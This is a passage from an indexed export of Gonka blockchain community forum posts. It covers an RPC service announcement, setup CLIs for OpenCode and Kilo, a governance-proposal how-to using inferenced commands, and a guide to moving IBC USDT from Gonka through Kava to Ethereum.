"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#_1", "title": "📝 Описание", "text": "Two days ago we sped up gonka.gg by 100x.
Today we are making the technology behind that speedup available to everyone.
Meet rpc.gonka.gg - managed RPC infrastructure for the Gonka blockchain, built by Gonka Labs.
We give developers reliable, authenticated API access to the entire Gonka blockchain through a single URL - no need to run your own nodes. The service acts as a bridge for applications (dApps, wallets, exchanges, bots, AI agents) to interact with the network: send transactions, read any data, query indexed history, and more.
This is Infura / Alchemy, but for Gonka.
Live now: rpc.gonka.gg
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#why-we-built-this", "title": "Why we built this", "text": "When we were developing gonka.gg, we hit the same wall every Gonka developer hits (and developers dm'ed us numerous times, asking if we can help solve the issues): the genesis RPC nodes are shared, sometimes slow under load, and running your own full node is a project in itself - hours/days of syncing, multiple ports, ongoing maintenance: not everyone wants to tackle all of that.
We needed something fast, with smart caching, with indexed data. So we built it for ourselves (gonka.gg explorer) and developers struggling with the same issues, so - virtually for everyone interested in building on Gonka. gonka.gg switched to rpc.gonka.gg as its data-backend, and the results were immediate: wallet transaction history pages went from 15+ seconds to under 1 second. Once we saw the difference, the natural next step was to open it up so every developer in the ecosystem gets the same infrastructure.
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#what-you-get", "title": "What you get", "text": "Feature Details 400+ API endpoints CometBFT RPC, Cosmos REST/LCD, Gonka custom API, ClickHouse-indexed data - all through one base URL 6 API surfaces Chain RPC (/chain-rpc/*), Cosmos REST (/chain-api/*, /cosmos/*), Gonka API (/v1/*), Fast indexed data (/api/ch/*), CometBFT passthrough (/comet/*), Developer portal Transaction broadcast Send transactions through our RPC - full broadcast support via LCD POST .../txs and CometBFT broadcast_tx_* Fast indexed queries /api/ch/* endpoints powered by ClickHouse - 4 to 110x faster than equivalent traditional RPC queries. More on this below Authenticated access Per-key rate limits, monthly quotas, abuse protection. No open nodes leaking resources inferenced CLI support The official Gonka CLI connects directly - just embed your API key in the URL path AI agent support Machine-readable docs at /llms.txt and /api/endpoints. Your AI agent discovers everything automatically Full documentation Every single endpoint documented with method, path, description, and parameters"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#fast-indexed-data-apich", "title": "Fast indexed data - /api/ch/*", "text": "This is one of the most important things rpc.gonka.gg offers, and the main reason gonka.gg got 100x faster.
Standard Cosmos RPC was not designed for analytical queries. Want a wallet's transaction history? You call tx_search, which is notoriously slow and unreliable on busy nodes. Want all transactions in a block? Multiple calls. Want slashing events across the network? Good luck.
rpc.gonka.gg solves this with a set of pre-built, ClickHouse-backed endpoints under /api/ch/*. These are not proxied RPC calls - they hit our hosted tx-scanner ClickHouse instance directly, where billions of events and hundreds of millions of transactions have been indexed (we have data since Genesis Block and constantly updating - when new block is generated, it is immidiately ingested). The same dataset that powers gonka.gg.
The results are 4 to 110 times faster than the equivalent traditional RPC queries on genesis nodes:
Endpoint What it does Speed vs raw RPCGET /api/ch/tx/{hash} Single transaction by hash (64-char hex, optional 0x prefix) ~4-20x faster GET /api/ch/block/{height} All transactions in a block, with count ~5-35x faster GET /api/ch/blocks?limit=N Recent blocks with tx counts ~10-90x faster GET /api/ch/blocks/latest Latest indexed block near-instant GET /api/ch/address/{address} All successful txs where address is sender or recipient. ?limit= (default 5, max 100), ?offset= for pagination ~20-110x faster GET /api/ch/slashing Slashing and penalty events across the network ~10-50x faster GET /api/ch/hardware Hardware stats across network participants ~10-35x faster GET /api/ch/epochs Epoch performance and reward data ~5-20x faster These endpoints return clean JSON. No parsing Cosmos SDK protobuf responses, no chasing pagination cursors across multiple RPC calls. The data is pre-indexed, pre-joined, and served from ClickHouse columnar storage optimized for exactly these access patterns.
When gonka.gg was loading a wallet's transaction list via standard tx_search RPC, it took 15+ seconds per page (and sometimes even then failed at timeout). After switching to /api/ch/address/{addr}, the same page loads in under 1 second. This is the same speedup every developer building on Gonka now gets access to through rpc.gonka.gg.
Behind rpc.gonka.gg is a pool of our custom RPC nodes called Feather.
Feather is a light full-RPC node for Gonka. It runs the complete chain node (chain + REST + API) without the ML node, and adds a ClickHouse-backed analytics and indexing layer on top. And, it is built around inferenced, so applying new features from inferenced node is pretty straightforward.
What Feather does:
Also, Feather gives access to cometBFT instrumentation and much more, we will go indepth on that product in the later post.
Following our open source strategy, we will be open-sourcing the Feather node code for anyone who wants to run it on their own servers. We mentioned this during the recent AMA - Feather will be published at github.com/gonkalabs alongside our other open source projects. In addition, we will post a new indepth article about it!
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#rpcgonkagg-the-gateway-layer", "title": "rpc.gonka.gg - the gateway layer", "text": "On top of the Feather pool sits our public rpc service layer - the public-facing gateway that adds:
/api/ch/* fast indexed endpoints (ClickHouse queries for transactions, blocks, addresses, slashing, hardware, epochs)Together, Feather + rpc-service layer form the complete stack - everything between your app and the Gonka blockchain.
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#tx-scanner-the-indexing-backbone", "title": "tx-scanner - the indexing backbone", "text": "The ClickHouse data behind /api/ch/* is populated by tx-scanner (open source, Go). Rather than relying on the standard (and notoriously unreliable) Cosmos tx_search RPC, tx-scanner reads block_results directly. It scans bidirectionally: forward for new blocks and backward to fill historical data simultaneously, using a configurable concurrent worker pool for parallel block processing and batch ClickHouse inserts for maximum write throughput.
The result: billions of events and hundreds of millions of transactions indexed and queryable in milliseconds. The same indexer powers gonka.gg - when you call /api/ch/address/gonka1... on rpc.gonka.gg, you are querying that full dataset.
tx-scanner is designed for Gonka but compatible with any CometBFT-based chain. Source: github.com/gonkalabs/tx-scanner
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#getting-started", "title": "Getting started", "text": "Step 1. Go to rpc.gonka.gg/access and sign up. Your free API key is ready instantly.
Step 2. Use your key in requests:
# Header-based auth (for apps, scripts, CosmJS)\ncurl -H \"X-Api-Key: YOUR_KEY\" https://rpc.gonka.gg/chain-rpc/status\n\n# Path-based auth (for inferenced CLI and tools that cannot set headers)\ncurl https://rpc.gonka.gg/key/YOUR_KEY/chain-rpc/status\n\n# Fast indexed query - get a wallet's transactions in milliseconds\ncurl -H \"X-Api-Key: YOUR_KEY\" https://rpc.gonka.gg/api/ch/address/gonka1...?limit=20\nStep 3. That is it. Replace your node URL and start building.
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#works-with-inferenced-cli", "title": "Works with inferenced CLI", "text": "The official Gonka blockchain CLI connects directly to rpc.gonka.gg. No custom headers needed - the key is embedded in the URL path:
# Check node status\ninferenced status --node https://rpc.gonka.gg/key/YOUR_KEY/\n\n# Query balances\ninferenced query bank balances gonka1... --node https://rpc.gonka.gg/key/YOUR_KEY/\n\n# Send tokens\ninferenced tx bank send mywallet gonka1... 1000ngonka \\\n --node https://rpc.gonka.gg/key/YOUR_KEY/ \\\n --chain-id gonka-mainnet --yes\nFull JSON-RPC POST support - status, query, tx commands all work out of the box.
Point your AI agent at https://rpc.gonka.gg/llms.txt and it will discover all available endpoints automatically. We also serve structured JSON at /api/endpoints and a detailed reference at /llms-full.txt. There is a dedicated page explaining the integration: rpc.gonka.gg/agents.
The whole gonka.gg explorer and its services talk DIRECTLY to rpc.gonka.gg under the hood. Our exploreres backend was fully redisigned and now talks to rpc.gonka.gg directly without hitting genesis RPC nodes (node1, node2, etc) under one unified API key:
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#documentation", "title": "Documentation", "text": "We prepared documentation for all 400+ API methods - identical to genesis nodes, plus the additional /api/ch/* fast indexed endpoints. Every endpoint is listed with its HTTP method, path, description, and parameters.
Full docs: rpc.gonka.gg/endpoints
There is also a dedicated section for AI agents at rpc.gonka.gg/agents - just give the link to your AI and it will learn how to use Gonka.
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#what-this-means-for-developers", "title": "What this means for developers", "text": "Before rpc.gonka.gg, building on Gonka meant either using the shared genesis nodes (may be slow due to high demand) or setting up your own full node (hours/days of syncing, ongoing maintenance, multiple ports to manage).
Now there is a managed service purpose-built for Gonka. One URL, one API key, 400+ endpoints, and indexed data that returns in milliseconds instead of seconds.
If you are building a dApp, a bot, a monitoring tool, an explorer, a wallet integration, or anything that talks to the Gonka blockchain - this is the fastest way to get there.
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#ps", "title": "P.S:", "text": "We will be constantly monitoring the feedback and fix, upgrade the code. In case of any issue - feel free to write in our TG chat (gonka_gg)
"}, {"location": "community/discussion/show-and-tell/1030-rpcgonkagg-managed-rpc-infrastructure-for-gonka-infuraalchem/#links", "title": "Links", "text": "About us: gonkalabs.com | Explorer: gonka.gg | GitHub: github.com/gonkalabs
"}, {"location": "community/discussion/show-and-tell/1044-gonka-ai-x-opencode/", "title": "#1044 — Gonka AI x OpenCode", "text": "🔄 Auto-sync: from Discussion #1044 every hour.
"}, {"location": "community/discussion/show-and-tell/1044-gonka-ai-x-opencode/#gonka-ai-x-opencode", "title": "Gonka AI x OpenCode", "text": "Автор: @Dankosik · Категория: Show and Tell · Создано: 2026-04-13 09:51 UTC · Обновлено: 2026-04-13 09:51 UTC
"}, {"location": "community/discussion/show-and-tell/1044-gonka-ai-x-opencode/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/show-and-tell/1044-gonka-ai-x-opencode/#gonka-ai-x-opencode_1", "title": "Gonka AI x OpenCode", "text": "Hi everyone,
We just published a small OpenCode setup utility for GonkaGate.
@gonkagate/opencode-setup is an open source onboarding CLI for people who already use opencode and want to point it at GonkaGate without making setup a side quest. No hand-editing opencode.json, no shell profile secret exports, and no need to learn the OpenCode custom-provider config shape before the first request.
We built a local installer around:
npx @gonkagate/opencode-setup\nIt handles the config plumbing around provider setup, secret binding, scope selection, and effective-config verification, then gets out of the way so you can keep using plain opencode.
This is one of those pieces of plumbing that should be boring, but often is not. If you already have a GonkaGate key, the next step should not be \"open three docs tabs and figure out where OpenCode wants provider config today.\"
The riskier parts are also the least fun: putting the secret in the wrong place, leaving a repo-local opencode.json in a weird state, or thinking setup worked because a file changed even though OpenCode resolves a different config at runtime. We wanted the setup path to be short, explicit, and careful about what it claims.
npx @gonkagate/opencode-setup\nGONKAGATE_API_KEY", "text": "GONKAGATE_API_KEY=gp-... npx @gonkagate/opencode-setup --scope project --yes\nprintf '%s' \"$GONKAGATE_API_KEY\" | npx @gonkagate/opencode-setup --api-key-stdin --scope project --yes\nAfter setup:
opencode\nopencode is available and supported.user or project scope.GONKAGATE_API_KEY, or --api-key-stdin.--api-key.project scope is selected, writes only activation settings to repo-local opencode.json.opencode config and the current session's effective OpenCode config before reporting success.gonkagate Base URL https://api.gonkagate.com/v1 OpenCode transport target chat/completions The project scope is intentionally conservative. The repo-local opencode.json only gets activation settings. The provider definition and secret binding stay in user scope, so the project file remains commit-safe by default.
The installer does not write directly to auth.json, does not create .env files, and does not mutate shell profiles.
The public picker is deliberately small right now. It has one validated option:
Status Model Current validated optionqwen/qwen3-235b-a22b-instruct-2507-fp8 We are treating this as a curated list, not a free-form custom model box. More options can be added as they pass the same OpenCode validation path.
"}, {"location": "community/discussion/show-and-tell/1044-gonka-ai-x-opencode/#what-were-not-claiming", "title": "What we're not claiming", "text": "The boundaries are explicit:
/v1/responses support today--api-key.env generationauth.jsonIf /v1/responses support lands later, it should be a migration on this integration, not a rename or a pretend-it-already-works claim.
🔄 Auto-sync: from Discussion #1095 every hour.
"}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#gonka-ai-x-kilo", "title": "Gonka AI x Kilo", "text": "Автор: @Dankosik · Категория: Show and Tell · Создано: 2026-04-21 13:20 UTC · Обновлено: 2026-04-21 13:21 UTC
"}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#gonkagate-x-kilo", "title": "GonkaGate x Kilo", "text": "Hi everyone,
We put together a small setup utility for Kilo:
npx @gonkagate/kilo-setup\nThe goal is simple. If you already use kilo and already have a GonkaGate API key, setup should take a minute or two. It should not turn into \"open three docs tabs, figure out where Kilo wants provider config, then hope you didn't leave a secret in the repo by accident.\"
That is what @gonkagate/kilo-setup is for.
Short version: this is a small CLI that wires local kilo to GonkaGate, keeps the secret out of repo-local config, and verifies the resolved result before sending you back to plain kilo.
Manual provider setup is manageable once. It gets old fast after that.
The annoying part is not the API itself. The annoying part is everything around it: where the secret should live, which config layer should own what, whether project config is safe to commit, and whether Kilo is actually using the config you just wrote instead of something else from the current shell.
We wanted a short path that does the boring work correctly and stays honest about its limits.
"}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#the-short-version", "title": "The short version", "text": ""}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#interactive", "title": "Interactive", "text": "npx @gonkagate/kilo-setup\nWith GONKAGATE_API_KEY:
GONKAGATE_API_KEY=\"$GONKAGATE_API_KEY\" npx @gonkagate/kilo-setup --scope project --yes\nWith stdin:
printf '%s' \"$GONKAGATE_API_KEY\" | npx @gonkagate/kilo-setup --api-key-stdin --scope project --yes\nWith project-scope cache cleanup:
printf '%s' \"$GONKAGATE_API_KEY\" | npx @gonkagate/kilo-setup --api-key-stdin --scope project --clear-kilo-model-cache --yes\nGo back to plain kilo.
kilo\nAt a high level, it does four things:
More concretely:
kilo, or falls back to kilocode@kilocode/cli@7.2.0GONKAGATE_API_KEY, or --api-key-stdin--api-key~/.gonkagate/kilo/api-keyprovider.gonkagate definition and canonical {file:~/.gonkagate/kilo/api-key} bindingprojectuserproject scope, it writes only activation settings into .kilo/kilo.jsonckilo result with the local resolverKILO_CONFIG, KILO_CONFIG_DIR, or KILO_CONFIG_CONTENT, it reports that separatelyThat last part matters more than it sounds. A config write is easy. A correct resolved config is the part that actually counts.
"}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#a-couple-of-details-that-mattered-to-us", "title": "A couple of details that mattered to us", "text": "project scope is intentionally narrow. The repository gets activation only. The provider definition and secret binding stay in user config. That keeps .kilo/kilo.jsonc commit-safe by default and avoids the usual \"why is there a secret-related path in git\" problem.
We also did not want a setup command that happily prints or spreads the secret around. The installer does not write to auth.json, does not generate .env files, and does not touch shell profiles.
The other important part is verification. The runtime treats effective Kilo config as the real success gate. If the durable install is fine but the current shell is still overridden by runtime-only Kilo env vars, the tool says so instead of pretending everything is clean.
"}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#current-model-and-transport", "title": "Current model and transport", "text": "Right now the public default is deliberately small:
@gonkagate/kilo-setupgonkagatehttps://api.gonkagate.com/v1chat/completions@kilocode/cli@7.2.0qwen/qwen3-235b-a22b-instruct-2507-fp8limit.context = 262144, limit.output = 8192We are treating model support as a curated list, not as a vague \"it probably works\" promise.
"}, {"location": "community/discussion/show-and-tell/1095-gonka-ai-x-kilo/#what-we-are-not-claiming", "title": "What we are not claiming", "text": "The current boundaries are deliberate:
@kilocode/cli@7.2.0/v1/responses support today--api-key.env generationauth.jsonkilo debug config against user paths is the production default verifierIf /v1/responses support shows up later, that should be a real migration, not something implied by marketing copy.
🔄 Auto-sync: from Discussion #1116 every hour.
"}, {"location": "community/discussion/show-and-tell/1116-how-to-create-and-submit-a-governance-proposal-on-gonka/#how-to-create-and-submit-a-governance-proposal-on-gonka", "title": "HOW-TO: Create and Submit a Governance Proposal on Gonka", "text": "Автор: @paranjko · Категория: Show and Tell · Создано: 2026-04-24 13:23 UTC · Обновлено: 2026-04-24 13:23 UTC
"}, {"location": "community/discussion/show-and-tell/1116-how-to-create-and-submit-a-governance-proposal-on-gonka/#_1", "title": "📝 Описание", "text": "Over the past few weeks, I’ve spent quite a bit of time helping people with governance proposals, so I put together a guide that may be useful if you’re preparing one yourself.
It has already been used for several successful proposals, so the process is tested in practice.
Note: this guide covers the technical part of creating and submitting a proposal. For a proposal to pass, you also need to communicate it clearly and build support around it.
Consider publishing the full proposal description on GitHub, sharing it with the community, and discussing it with participants on Discord and other relevant channels before and during the voting period.
"}, {"location": "community/discussion/show-and-tell/1116-how-to-create-and-submit-a-governance-proposal-on-gonka/#how-to-create-and-submit-a-governance-proposal-on-gonka_1", "title": "How to Create and Submit a Governance Proposal on Gonka", "text": "Step-by-step for submitting and voting with inferenced. Aligned with Gonka — Transactions & Governance. Replace every placeholder with your own values before running commands.
<KEY_NAME> Your key name in the keyring (not your gonka1… address) <PATH_TO_PROPOSAL_JSON> Path to the proposal JSON file, e.g. ./proposal.json <PUBLIC_RPC> RPC URL including /chain-rpc/, e.g. http://node1.gonka.ai:8000/chain-rpc/ <PUBLIC_HTTP_API> Same host without /chain-rpc/, e.g. http://node1.gonka.ai:8000 <CHAIN_ID> e.g. gonka-mainnet for mainnet Run once per terminal session (edit the right-hand sides):
export GONKA_RPC=\"<PUBLIC_RPC>\"\nexport GONKA_API=\"<PUBLIC_HTTP_API>\"\nexport CHAIN_ID=\"<CHAIN_ID>\"\nexport ACCOUNT_NAME=\"<KEY_NAME>\"\nAll later commands assume these variables are set. If a command fails with “connection” or “parse”, check that GONKA_RPC ends with exactly one /chain-rpc/.
inferenced query / tx $GONKA_RPC (must include /chain-rpc/) create-client (HTTP …/v1/participants on the seed) $GONKA_API (no /chain-rpc/) Using $GONKA_RPC for --node-address in create-client is incorrect and will fail or hit the wrong service.
Download a build for your OS from Gonka releases, unpack, then:
chmod +x inferenced\n./inferenced --help\nOn macOS, if Gatekeeper blocks the binary: System Settings → Privacy & Security → Open Anyway.
"}, {"location": "community/discussion/show-and-tell/1116-how-to-create-and-submit-a-governance-proposal-on-gonka/#32-read-min_deposit-and-voting_period-from-the-chain", "title": "3.2 Readmin_deposit and voting_period from the chain", "text": "Do not rely on a fixed ngonka amount from old docs—query the live values:
./inferenced query gov params \\\n --node \"$GONKA_RPC\" \\\n --chain-id \"$CHAIN_ID\" \\\n -o json | jq '{min_deposit: .params.min_deposit, voting_period: .params.voting_period}'\nYour proposal JSON’s deposit must satisfy min_deposit (same denom, amount ≥ minimum).
Prepare a gov v1 JSON (messages, metadata, deposit, title, summary).
There are two main parts to prepare:
Keep the on-chain text short and clear.
Make sure the proposal includes:
the requested amount and denom, if the proposal requests funding.
Proposal JSON structure
For the JSON structure, the best approach is to look at previous proposals and use them as references.
You can inspect previous proposal JSONs here to see how different proposal types are structured.
In many cases, it is easier to start from a similar previous proposal and adapt it to your own proposal.
For messages such as MsgUpdateParams, the chain expects the full params object and correct authority (gov module address). Fetch the gov module address:
./inferenced query auth module-accounts \\\n --node \"$GONKA_RPC\" \\\n --chain-id \"$CHAIN_ID\" \\\n -o json | jq -r '.accounts[] | select(.value.name==\"gov\") | .value.address'\nUse that address as authority where the message type requires it.
If the jq line prints nothing, run the same query without jq once and locate the gov module entry manually. The output shape can differ slightly by SDK version.
create-client)", "text": "This creates a key and calls the seed HTTP API (participant registration). Use $GONKA_API only:
./inferenced create-client \"$ACCOUNT_NAME\" \\\n --node-address \"$GONKA_API\"\nStore the mnemonic safely. If you already have a funded key for governance, skip this and avoid double registration.
Use the same --keyring-backend everywhere (e.g. file) for keys show, tx gov submit-proposal, and tx gov vote.
./inferenced query bank balances \\\n \"$(./inferenced keys show \"$ACCOUNT_NAME\" -a --keyring-backend file)\" \\\n --node \"$GONKA_RPC\" \\\n --chain-id \"$CHAIN_ID\"\nEnsure you have enough ngonka (or the fee denom your node expects) for min_deposit and fees.
Recommended pattern from the official Gonka doc:
./inferenced tx gov submit-proposal \"<PATH_TO_PROPOSAL_JSON>\" \\\n --from \"$ACCOUNT_NAME\" \\\n --keyring-backend file \\\n --chain-id \"$CHAIN_ID\" \\\n --node \"$GONKA_RPC\" \\\n --unordered --timeout-duration=60s \\\n --gas 2000000 --gas-adjustment 5.0 \\\n --yes\nAfter submission, note the proposal number from the output or find it here.
Share the proposal number so the community announcement can go out.
"}, {"location": "community/discussion/show-and-tell/1116-how-to-create-and-submit-a-governance-proposal-on-gonka/#5-vote-after-voting-has-started", "title": "5. Vote (after voting has started)", "text": ""}, {"location": "community/discussion/show-and-tell/1116-how-to-create-and-submit-a-governance-proposal-on-gonka/#51-read-the-proposal-on-chain", "title": "5.1 Read the proposal on-chain", "text": "./inferenced query gov proposal \"$PROPOSAL_ID\" \\\n --node \"$GONKA_RPC\" \\\n --chain-id \"$CHAIN_ID\" \\\n -o json\nConfirm status, title, summary, messages, and voting times before voting.
./inferenced query gov tally \"$PROPOSAL_ID\" \\\n --node \"$GONKA_RPC\" \\\n --chain-id \"$CHAIN_ID\" \\\n -o json\nUse $GONKA_RPC as-is—do not append /chain-rpc/ again.
Replace yes with no, abstain, or no_with_veto if you intend to vote that way:
./inferenced tx gov vote \"$PROPOSAL_ID\" yes \\\n --from \"$ACCOUNT_NAME\" \\\n --keyring-backend file \\\n --chain-id \"$CHAIN_ID\" \\\n --node \"$GONKA_RPC\" \\\n --unordered --timeout-duration=60s \\\n --gas 2000000 --gas-adjustment 5.0 \\\n --yes\nYou may change your vote by sending another vote before the voting period ends.
That’s it! Good luck with your proposal!
If you have comments, suggestions, or anything to add from your own experience, feel free to share them. We can keep improving the guide together. And if any part feels unclear, let me know as well.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/", "title": "#1141 — IBC USDT Withdrawal Guide", "text": "🔄 Auto-sync: from Discussion #1141 every hour.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#ibc-usdt-withdrawal-guide", "title": "IBC USDT Withdrawal Guide", "text": "Автор: @paranjko · Категория: Show and Tell · Создано: 2026-05-01 12:55 UTC · Обновлено: 2026-07-08 13:45 UTC
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#_1", "title": "📝 Описание", "text": "Since we now have IBC USDT in the Gonka community pool, and some proposal payments and community rewards may be paid in IBC USDT, I put together a practical withdrawal guide for anyone who needs it.
The guide explains how to move IBC USDT from Gonka to Kava Cosmos, then to Kava EVM, and, if needed, further to Ethereum.
Please treat it as a practical community guide, not financial advice. Routes, fees, wallet interfaces, and bridge availability can change, so always verify the details yourself and send a small test transaction first.
Important: this guide is about IBC USDT on Gonka / Kava Cosmos. Do not confuse it with native ERC-20 USDT on Ethereum, exchange USDT balances, or USDT on other networks. Always check the asset denom, source network, destination network, and destination address before sending funds.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#ibc-usdt-route-gonka-kava-cosmos-kava-evm-ethereum", "title": "IBC USDT route: Gonka → Kava Cosmos → Kava EVM → Ethereum", "text": "Use this guide if you already have spendable IBC USDT in your Gonka wallet and want to follow this route. It describes the full path to Ethereum; you may stop after any completed leg and keep IBC USDT on Kava in Keplr, move it to Kava EVM in MetaMask, or continue to Ethereum.
Disclaimer: This guide is not financial advice. Route parameters, supported assets, fees, and wallet / bridge UIs can change. You are responsible for verifying the current route, addresses, and amounts before sending funds.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#what-you-are-doing", "title": "What you are doing", "text": "You will move funds in three steps:
You need:
GNK for Gonka transaction feesUseful official pages:
kava1...0x...In this step, you are sending from Gonka to your own Kava Cosmos address in Keplr.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#1-turn-on-manual-ibc-in-keplr", "title": "1. Turn on manual IBC in Keplr", "text": "In Keplr:
Settings → Advanced → Manual IBC Transfer → ON
If labels differ slightly by version, use Keplr’s own docs: help.keplr.app.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#2-configure-the-transfer-on-gonka", "title": "2. Configure the transfer on Gonka", "text": "If Keplr shows Add IBC channel or New IBC channel, set:
channel-5Then save it.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#3-copy-your-kava-address", "title": "3. Copy your Kava address", "text": "kava1... addressOn Advanced IBC Transfer, choose Kava (channel-5) from the destination dropdown.
Then:
kava1... addressngonkaYour USDT should appear on Kava in Keplr.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#step-2-move-usdt-from-kava-ibc-to-kava-evm", "title": "Step 2 — Move USDT from Kava IBC to Kava EVM", "text": "In this step, you move the funds from Kava Cosmos to Kava EVM.
Start with a small test amount.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#1-open-the-kava-transfer-tool", "title": "1. Open the Kava transfer tool", "text": "Open the Transfer page: app.kava.io/transfer.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#2-connect-both-wallets", "title": "2. Connect both wallets", "text": "Choose:
Your USDT should appear on Kava EVM in MetaMask.
Kava’s help article on moving USDT across Kava surfaces (your direction here is Cosmos → Kava EVM): How to transfer USDt to Cosmos chains with a single click.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#if-usdt-does-not-appear-in-metamask", "title": "If USDT does not appear in MetaMask", "text": "MetaMask may not show the token automatically. You may need to import the token manually. Kava help documentation has listed this USDT contract on Kava EVM:
0x919C1c267BC06a7039e03fcc2eF738525769109c
Before using it for a real transfer, verify it again in: - the current Kava Help Center - the app.kava.io UI - your wallet’s token information
If MetaMask asks for decimals, use 6.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#step-3-bridge-usdt-from-kava-evm-to-ethereum", "title": "Step 3 — Bridge USDT from Kava EVM to Ethereum", "text": "In this step, you bridge the funds from Kava EVM to Ethereum mainnet.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#1-open-stargate", "title": "1. Open Stargate", "text": "Open: stargate.finance/transfer.
Background from Kava on this bridge pattern: How to Bridge USDt with Stargate.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#2-make-sure-metamask-is-on-kava-evm", "title": "2. Make sure MetaMask is on Kava EVM", "text": "Before you start, MetaMask should be connected to Kava EVM.
You are sending from Kava EVM, not from Ethereum.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#3-set-the-bridge-route", "title": "3. Set the bridge route", "text": "In Stargate, choose:
In some UIs, the source may be shown simply as Kava. What matters is that it matches the network where your USDT currently sits after Step 2.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#4-review-fees-and-send-a-small-test", "title": "4. Review fees and send a small test", "text": "Before you confirm:
Then approve the transaction in MetaMask.
Your USDT should appear on Ethereum Mainnet in MetaMask.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#if-stargate-does-not-offer-this-route", "title": "If Stargate does not offer this route", "text": "Stop there.
Do not guess an alternative bridge.
If USDT from Kava EVM to Ethereum is not shown, the route may be paused, changed, or temporarily unavailable.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#step-4-confirm-the-funds-on-ethereum", "title": "Step 4 — Confirm the funds on Ethereum", "text": "A commonly used Ethereum mainnet USDT contract is:
0xdAC17F958D2ee523a2206206994597C13D831ec7
Before importing, verify the current contract in a trusted source such as:
After the test amount arrives, you can repeat the same flow for the remaining balance.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#optional-move-kava-between-kava-cosmos-and-kava-evm", "title": "Optional — Move KAVA between Kava Cosmos and Kava EVM", "text": "If you need KAVA on the other side for gas, use: app.kava.io/evm/wkava.
Step-by-step from Kava: Send KAVA to and from Kava Cosmos and Kava EVM.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#advanced-note-verify-the-gonka-ibc-channel-before-large-transfers", "title": "Advanced note — verify the Gonka IBC channel before large transfers", "text": "For most users, this is not required for a small test transfer.
If you want to verify the current Gonka outbound channel before sending a larger amount, you can check it with:
curl -sS \"https://node1.gonka.ai:8443/chain-api/ibc/core/channel/v1/channels\" | jq '.channels[] | select(.port_id==\"transfer\") | {gonka_channel_id:.channel_id, kava_counterparty:.counterparty.channel_id}'\nAt the time this guide was prepared, the Gonka → Kava transfer used:
channel-5channel-161When sending from Gonka, use the Gonka-side channel, which is channel-5.
Before sending the full amount, make sure:
If any of these checks fail, stop and review before moving the full balance.
Stay safe, double-check everything, and always start with a small test transfer.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#3", "title": "💬 Комментарии (3)", "text": ""}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#1-rufatpro", "title": "Комментарий 1 — @rufatpro", "text": "2026-05-01 14:12 UTC
Спасибо за инструкцию. :)
Способ вывода, конечно, оставляет желать лучшего, так как содержит очень много шагов.
"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#2-mtvnastya", "title": "Комментарий 2 — @mtvnastya", "text": "2026-05-14 23:32 UTC
@paranjko looks like a helpful instruction, can you open a PR to add it to gonka.ai documentation repo?
↳ Ответ от @paranjko · 2026-05-19 02:38 UTC
Good call. Just did it!
